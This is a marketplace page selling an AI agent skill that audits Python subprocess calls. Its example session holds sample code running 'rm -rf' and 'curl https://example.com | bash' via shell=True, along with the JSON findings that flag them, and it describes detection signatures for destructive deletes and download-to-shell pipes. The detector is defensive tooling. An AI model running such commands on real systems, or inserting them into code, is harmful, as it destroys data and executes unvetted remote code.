- Home
- Skills
- Code Quality & Review
- Python Subprocess Auditor — Catch rm -rf and curl | bash
Works with the AI Agents you already use
Python Subprocess Auditor — Catch rm -rf and curl | bash
Blocks unsafe subprocess.run calls, shell=True injection traps, and hidden curl commands.
$5
Python Subprocess Auditor — Catch rm -rf and curl | bash
Example session with this skill installed
Audit this Python code for dangerous subprocess calls.
import subprocess
def deploy():
subprocess.run("rm -rf /tmp/cache", shell=True)
subprocess.run("curl https://example.com | bash", shell=True)
subprocess.run("ls -la", shell=True)
if __name__ == "__main__":
deploy()
- Read your context and instructions
- Compiled the python subprocess auditor
Python Subprocess Auditor Report
- Audit Status: CRITICAL. High-risk OS execution vulnerabilities isolated.
- Target File: deploy.py
- Total Findings: 2 critical violations identified.
Verified Output (Subprocess JSON Protocol)
{
"audit_status": "CRITICAL",
"findings": [
{
"id": "f1",
"file": "deploy.py",
"line": 4,
"severity": "HIGH",
"signature": "DESTRUCTIVE_RECURSIVE_DELETE",
"message": "Recursive deletion outside project root",
"snippet": "subprocess.run(\"rm -rf /tmp/cache\", shell=True)"
},
{
"id": "f2",
"file": "deploy.py",
"line": 5,
"severity": "HIGH",
"signature": "DOWNLOAD_TO_SHELL_PIPE",
"message": "Download-to-shell pattern",
"snippet": "subprocess.run(\"curl https://example.com | bash\", shell=True)"
}
],
"metadata": {
"version": "1.0.0",
"timestamp": "2026-10-06T12:00:00Z",
"files_scanned": 1,
"calls_found": 3
}
}
Subsystem Vulnerability Breakdown
- Destructive Recursive Deletion (
DESTRUCTIVE_RECURSIVE_DELETE): Isolated a hazardous parameter on line 4. The engine intercepted a recursive removal execution target pointing outside secure local paths.
Download-to-Shell Pipe (DOWNLOAD_TO_SHELL_PIPE): Flagged a dangerous networking signature on line 5. An unchecked remote web hook is being piped directly into terminal interpreters, creating remote code execution exposure.
3.
Air-Gapped Code Scan: Evaluated all internal python system execution layers entirely offline inside local memory configurations, ensuring no codebase components were leaked to corporate tracking.
Connects securely to your tools. The creator never sees your data.
About this skill
Stop letting AI agents deploy hidden remote code execution vectors. When autonomous assistants write automation layers or orchestration scripts, they frequently drop high-risk shell configurations: invoking raw os.system triggers, passing unchecked execution targets into naked subprocess.run(..., shell=True) parameters, or piping unverified remote commands into bash. Because these operations mirror valid deployment routines, typical static pull-request audits fail to flag them—allowing destructive commands to execute silently inside your secure live cluster boundaries.
Python Subprocess Auditor operates as an internal, pre-execution infrastructure firewall. It deep-scans your repository deployment logic using Abstract Syntax Tree (AST) analysis, programmatically isolating insecure system interface calls before they reach execution targets.
By validating all subsystem communication layers against strict safety parameters, this skill guarantees reliable continuous integration sequences without slowing down your multi-agent code orchestration velocity.
What it does
- Shell Injection Containment: Instantly flags dynamic script execution chains running with unshielded shell access parameters.
- Remote Script Mitigation: Detects embedded network pipes (
curlorwgetcommands) targeting unverified external servers. - Destructive Command Isolation: Screens parameters against critical failure scripts including recursive path removal vectors.
- Air-Gapped Source Security: Evaluates your systemic Python execution architectures 100% locally inside secure memory buffers—zero outbound telemetry.
Technical Specifications
- Complete Subsystem Coverage: Calibrated to audit execution properties across
subprocess.run,Popen,os.system, andos.exec*logic trees. - Passive Read-Only Analysis: Runs independently without creating file logs, altering deployment scripts, or initiating active runtime tasks.
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Code Quality & Review.
Static analysis only — reads code, does not execute it. Runtime-only risks are out of scope. Python only — does not scan JavaScript, Go, Rust, or shell scripts. No OS-level sandboxing — complements containers and seccomp, does not replace them. No correctness analysis — judges safety, not intent. Read-only — does not modify code, install packages, or write files. Advisory verdicts only.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 23 days ago
- Software
Python
Permissions
File Scopes
Read access scans Python source files for subprocess, Popen, os.system, and os.exec calls, then checks each against six safety rules. No files are written — the skill is advisory and returns a strict JSON report. No code is executed.